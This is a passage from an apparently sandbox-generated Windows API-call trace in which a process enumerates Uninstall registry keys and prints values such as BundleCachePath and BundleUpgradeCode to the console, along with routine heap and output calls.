0x26 [0149.483] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0149.483] __iob_func () returned 0x7fefd702a80 [0149.483] _fileno (_File=0x7fefd702ab0) returned 1 [0149.483] _errno () returned 0x204bb0 [0149.483] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.483] _errno () returned 0x204bb0 [0149.483] GetFileType (hFile=0x50) returned 0x1 [0149.483] lstrlenW (lpString="\n") returned 1 [0149.483] GetConsoleOutputCP () returned 0x1b5 [0149.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.483] GetConsoleOutputCP () returned 0x1b5 [0149.483] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.483] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.483] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.483] GetProcessHeap () returned 0x3c0000 [0149.483] GetProcessHeap () returned 0x3c0000 [0149.483] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.483] GetProcessHeap () returned 0x3c0000 [0149.483] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x28 [0149.483] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0149.483] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.483] GetProcessHeap () returned 0x3c0000 [0149.483] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.483] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}") returned 121 [0149.483] GetProcessHeap () returned 0x3c0000 [0149.483] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0149.483] GetProcessHeap () returned 0x3c0000 [0149.483] GetProcessHeap () returned 0x3c0000 [0149.483] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.483] GetProcessHeap () returned 0x3c0000 [0149.483] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.484] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.484] GetProcessHeap () returned 0x3c0000 [0149.484] GetProcessHeap () returned 0x3c0000 [0149.484] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.484] GetProcessHeap () returned 0x3c0000 [0149.484] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0149.484] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.484] RegCloseKey (hKey=0x5c) returned 0x0 [0149.484] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x18, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.484] __iob_func () returned 0x7fefd702a80 [0149.484] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.484] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\n") returned 122 [0149.484] _fileno (_File=0x7fefd702ab0) returned 1 [0149.484] _errno () returned 0x204bb0 [0149.484] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.484] _errno () returned 0x204bb0 [0149.484] GetFileType (hFile=0x50) returned 0x1 [0149.484] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\n") returned 122 [0149.484] GetConsoleOutputCP () returned 0x1b5 [0149.484] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\n", cchWideChar=122, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 122 [0149.484] GetConsoleOutputCP () returned 0x1b5 [0149.484] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\n", cchWideChar=122, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\n", lpUsedDefaultChar=0x0) returned 122 [0149.484] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 122 [0149.484] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.485] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x29f978 | out: phkResult=0x29f978*=0x5c) returned 0x0 [0149.485] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29f7e0*=0x14, lpcbMaxValueNameLen=0x29f830, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.485] GetProcessHeap () returned 0x3c0000 [0149.485] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2a) returned 0x3d78d0 [0149.485] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleCachePath", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.485] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleCachePath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xac) returned 0x0 [0149.485] GetProcessHeap () returned 0x3c0000 [0149.485] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xae) returned 0x3e1c70 [0149.485] GetProcessHeap () returned 0x3c0000 [0149.485] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.485] GetProcessHeap () returned 0x3c0000 [0149.485] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xae [0149.485] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleCachePath", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xac | out: pdwType=0x29f700*=0x1, pvData="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", pcbData=0x29f780*=0xaa) returned 0x0 [0149.485] __iob_func () returned 0x7fefd702a80 [0149.485] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.485] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.485] _fileno (_File=0x7fefd702ab0) returned 1 [0149.485] _errno () returned 0x204bb0 [0149.485] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.485] _errno () returned 0x204bb0 [0149.485] GetFileType (hFile=0x50) returned 0x1 [0149.485] lstrlenW (lpString=" ") returned 4 [0149.485] GetConsoleOutputCP () returned 0x1b5 [0149.485] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.485] GetConsoleOutputCP () returned 0x1b5 [0149.486] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.486] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.486] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.486] lstrlenW (lpString="BundleCachePath") returned 15 [0149.486] __iob_func () returned 0x7fefd702a80 [0149.486] _fileno (_File=0x7fefd702ab0) returned 1 [0149.486] _errno () returned 0x204bb0 [0149.486] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.486] _errno () returned 0x204bb0 [0149.486] GetFileType (hFile=0x50) returned 0x1 [0149.486] lstrlenW (lpString="BundleCachePath") returned 15 [0149.486] GetConsoleOutputCP () returned 0x1b5 [0149.486] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleCachePath", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.486] GetConsoleOutputCP () returned 0x1b5 [0149.486] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleCachePath", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleCachePath", lpUsedDefaultChar=0x0) returned 15 [0149.486] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.486] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.486] __iob_func () returned 0x7fefd702a80 [0149.486] _fileno (_File=0x7fefd702ab0) returned 1 [0149.486] _errno () returned 0x204bb0 [0149.486] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.487] _errno () returned 0x204bb0 [0149.487] GetFileType (hFile=0x50) returned 0x1 [0149.487] lstrlenW (lpString=" ") returned 4 [0149.487] GetConsoleOutputCP () returned 0x1b5 [0149.487] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.487] GetConsoleOutputCP () returned 0x1b5 [0149.487] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.487] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.487] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.487] __iob_func () returned 0x7fefd702a80 [0149.487] _fileno (_File=0x7fefd702ab0) returned 1 [0149.487] _errno () returned 0x204bb0 [0149.487] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.487] _errno () returned 0x204bb0 [0149.487] GetFileType (hFile=0x50) returned 0x1 [0149.487] lstrlenW (lpString="REG_SZ") returned 6 [0149.487] GetConsoleOutputCP () returned 0x1b5 [0149.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.488] GetConsoleOutputCP () returned 0x1b5 [0149.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.488] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.488] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.488] __iob_func () returned 0x7fefd702a80 [0149.488] _fileno (_File=0x7fefd702ab0) returned 1 [0149.488] _errno () returned 0x204bb0 [0149.488] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.488] _errno () returned 0x204bb0 [0149.488] GetFileType (hFile=0x50) returned 0x1 [0149.488] lstrlenW (lpString=" ") returned 4 [0149.488] GetConsoleOutputCP () returned 0x1b5 [0149.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.488] GetConsoleOutputCP () returned 0x1b5 [0149.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.488] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.488] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.488] __iob_func () returned 0x7fefd702a80 [0149.488] _fileno (_File=0x7fefd702ab0) returned 1 [0149.488] _errno () returned 0x204bb0 [0149.488] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.488] _errno () returned 0x204bb0 [0149.488] GetFileType (hFile=0x50) returned 0x1 [0149.488] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe") returned 84 [0149.489] GetConsoleOutputCP () returned 0x1b5 [0149.489] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", cchWideChar=84, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 84 [0149.489] GetConsoleOutputCP () returned 0x1b5 [0149.489] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", cchWideChar=84, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", lpUsedDefaultChar=0x0) returned 84 [0149.489] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 84 [0149.489] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.489] __iob_func () returned 0x7fefd702a80 [0149.489] _fileno (_File=0x7fefd702ab0) returned 1 [0149.489] _errno () returned 0x204bb0 [0149.489] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.489] _errno () returned 0x204bb0 [0149.489] GetFileType (hFile=0x50) returned 0x1 [0149.489] lstrlenW (lpString="\n") returned 1 [0149.489] GetConsoleOutputCP () returned 0x1b5 [0149.489] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.489] GetConsoleOutputCP () returned 0x1b5 [0149.489] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.489] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.489] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.489] GetProcessHeap () returned 0x3c0000 [0149.489] GetProcessHeap () returned 0x3c0000 [0149.490] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.490] GetProcessHeap () returned 0x3c0000 [0149.490] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xae [0149.490] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.490] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleUpgradeCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.490] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleUpgradeCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x54) returned 0x0 [0149.490] GetProcessHeap () returned 0x3c0000 [0149.490] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x56) returned 0x3db830 [0149.490] GetProcessHeap () returned 0x3c0000 [0149.490] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.490] GetProcessHeap () returned 0x3c0000 [0149.490] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x56 [0149.490] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleUpgradeCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x54 | out: pdwType=0x29f700*=0x7, pvData=0x3db830*, pcbData=0x29f780*=0x50) returned 0x0 [0149.490] __iob_func () returned 0x7fefd702a80 [0149.490] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.490] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.490] _fileno (_File=0x7fefd702ab0) returned 1 [0149.490] _errno () returned 0x204bb0 [0149.490] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.490] _errno () returned 0x204bb0 [0149.490] GetFileType (hFile=0x50) returned 0x1 [0149.490] lstrlenW (lpString=" ") returned 4 [0149.490] GetConsoleOutputCP () returned 0x1b5 [0149.490] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.490] GetConsoleOutputCP () returned 0x1b5 [0149.490] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.490] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.490] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.491] lstrlenW (lpString="BundleUpgradeCode") returned 17 [0149.491] __iob_func () returned 0x7fefd702a80 [0149.491] _fileno (_File=0x7fefd702ab0) returned 1 [0149.491] _errno () returned 0x204bb0 [0149.491] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.491] _errno () returned 0x204bb0 [0149.491] GetFileType (hFile=0x50) returned 0x1 [0149.491] lstrlenW (lpString="BundleUpgradeCode") returned 17 [0149.491] GetConsoleOutputCP () returned 0x1b5 [0149.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleUpgradeCode", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0149.491] GetConsoleOutputCP () returned 0x1b5 [0149.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleUpgradeCode", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleUpgradeCode", lpUsedDefaultChar=0x0) returned 17 [0149.491] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0149.491] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.491] __iob_func () returned 0x7fefd702a80 [0149.491] _fileno (_File=0x7fefd702ab0) returned 1 [0149.491] _errno () returned 0x204bb0 [0149.491] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.491] _errno () returned 0x204bb0 [0149.491] GetFileType (hFile=0x50) returned 0x1 [0149.491] lstrlenW (lpString=" ") returned 4 [0149.491] GetConsoleOutputCP () returned 0x1b5 [0149.491] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.492] GetConsoleOutputCP () returned 0x1b5 [0149.492] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.492] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.492] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.492] __iob_func () returned 0x7fefd702a80 [0149.492] _fileno (_File=0x7fefd702ab0) returned 1 [0149.492] _errno () returned 0x204bb0 [0149.492] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.492] _errno () returned 0x204bb0 [0149.492] GetFileType (hFile=0x50) returned 0x1 [0149.492] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0149.492] GetConsoleOutputCP () returned 0x1b5 [0149.492] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.492] GetConsoleOutputCP () returned 0x1b5 [0149.492] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0149.492] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.492] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.492] __iob_func () returned 0x7fefd702a80 [0149.492] _fileno (_File=0x7fefd702ab0) returned 1 [0149.492] _errno () returned 0x204bb0 [0149.492] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.492] _errno () returned 0x204bb0 [0149.492] GetFileType (hFile=0x50) returned 0x1 [0149.493] lstrlenW (lpString=" ") returned 4 [0149.493] GetConsoleOutputCP () returned 0x1b5 [0149.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.493] GetConsoleOutputCP () returned 0x1b5 [0149.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.493] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.493] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.493] __iob_func () returned 0x7fefd702a80 [0149.493] _fileno (_File=0x7fefd702ab0) returned 1 [0149.493] _errno () returned 0x204bb0 [0149.493] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.493] _errno () returned 0x204bb0 [0149.493] GetFileType (hFile=0x50) returned 0x1 [0149.493] lstrlenW (lpString="{0B65F2F3-A845-36BB-848A-5D939826EBE4}") returned 38 [0149.493] GetConsoleOutputCP () returned 0x1b5 [0149.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{0B65F2F3-A845-36BB-848A-5D939826EBE4}", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0149.493] GetConsoleOutputCP () returned 0x1b5 [0149.493] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{0B65F2F3-A845-36BB-848A-5D939826EBE4}", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{0B65F2F3-A845-36BB-848A-5D939826EBE4}", lpUsedDefaultChar=0x0) returned 38 [0149.493] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0149.493] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 